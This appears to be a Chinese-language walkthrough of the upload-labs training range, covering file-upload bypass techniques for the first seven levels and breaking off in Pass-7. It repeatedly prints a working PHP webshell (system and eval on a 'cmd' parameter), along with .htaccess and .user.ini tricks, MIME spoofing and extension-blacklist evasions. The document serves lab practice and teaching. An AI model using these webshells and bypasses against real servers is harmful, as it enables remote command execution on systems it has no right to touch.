upload-labs
从经典靶场入手,看文件上传发展经历
下载
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
下载地址:https://github.com/c0ny1/upload-labs/releases
在 win 环境下 直接解压到phpstudy下即可
绕过方式
从以下练习中提炼出文件上传的绕过方式
-
上传文件类型不收限制
-
前端Javascript校验 - Burp抓包改包绕过
-
利用缺陷的文件上传验证
- 文件类型验证缺陷 - 通过不常见的后缀绕过 比如:php3,php5等等
- 上传目录限制文件类型 - 尝试利用目录遍历将文件上传到其他目录
- 后缀限制 - 通过.htaccess 欺骗服务器扩展任意自定义文件后缀到已知的MIME类型;利用.user.ini 包含jpg文件到任意已存在php文件中
- 黑名单限制 - 利用后端解析差异
.
,空格
,::$DATA
- Apache 解析漏洞,Nginx解析漏洞,IIS解析漏洞
- 对上传
.
/
进行二次编码,适合验证文件名扩展没有解码,服务端被解码 - 利用
;
,%00
绕过PHP,Java 高级语言编写,服务器使用 C/C++低级函数处理文件差异
-
黑名单过滤后缀 - 通过双写绕过
-
文件内容检查 - 通过添加允许文件头格式绕过
-
通过条件竞争实现文件上传
练习
靶场练习主要针对后端检查绕过,从黑白名单,后端检查的内容和代码逻辑几个方面提出不同的绕过方式
有些绕过方式较为久远,我就简单介绍,其他可以在现阶段使用的上传手法给予较多的关注
Pass-1 Javascript 前端检查
一般 都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过
- 修改JS文件
- 上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐)
- 禁用js
靶场实战
- 上传webshell.png 文件内容为:
<?php @system($_GET['cmd']); ?>
- burp 抓包 ,修改文件名为ceshi.php
- 成功上传后,找到上传图片的位置,访问 GET /xxx/ceshi.php?cmd=whoami
burp 修改上传文件名的位置
获取到图片位置,通过GET方式传入 cmd 参数来获取执行系统命令
Pass-2 文件类型检查有缺陷
对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。
绕过方式:
- 上传 webshell.php 内容为:
<?php @system($_GET['cmd']); ?>
- 抓包 修改上传的Content-Type 类型为允许的类型
image/jpeg
- 放包,收到成功上传
- 复制文件上传的路径,请求
GET /upload/upload/webshell.php?cmd=whoami
Pass-3 黑名单限制不完全
对于黑名单限制上传文件后缀的 可以通过以下几种方式绕过
- 通过使用可被执行但不常见的后缀名,比如 php5,shtml等等
- 上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的MIME类型
- 利用后端解析差异绕过限制
- 添加尾随字符,一些组件会去除或忽略尾随空格、点等:exploit.php. /exploit.php+空格
- 对点,斜杠 使用URL 编码, 如果验证文件扩展名时没有解码,在服务端被解码,绕过黑名单限制, exploit%2Ephp
- 在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的,但服务器使用 C/C++ 中的低级函数处理文件,例如,这可能会导致文件名结尾出现差异:exploit.asp;.jpg或exploit.asp%00.jpg
靶机实战
- 上传 webshell.php3 内容为:
<?php @system($_GET['cmd']); ?>
- 复制文件上传的路径,请求
GET /upload/upload/20200304.php5?cmd=whoami
Pass-4 .htaccess 扩展后缀名
测试上传的后缀, php1 php2 php3 都不行,后缀被限制了,尝试上传 .htaccess 添加扩展后缀
-
上传 .htaccess 内容为:
AddType application/x-httpd-php .l33t
-
上传
webshell.l33t
内容为:<?php @system($_GET['cmd']); ?>
-
访问文件,执行webshell
Pass-5 .user.ini
本关在上传目录下存在readme.php的php文件,可以利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片,相当于readme.php也有webshell.php。
user.ini
auto_prepend_file=web.jpg
web.jpg
<?php @eval($_GET['cmd']) ?>
Pass-6 大小写绕过
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
服务器端检查后缀时忽略了对大小写的检测,故可以通过大写后缀绕过
Pass-7 黑名单限制不完全- 空格
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5","
.......
,".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);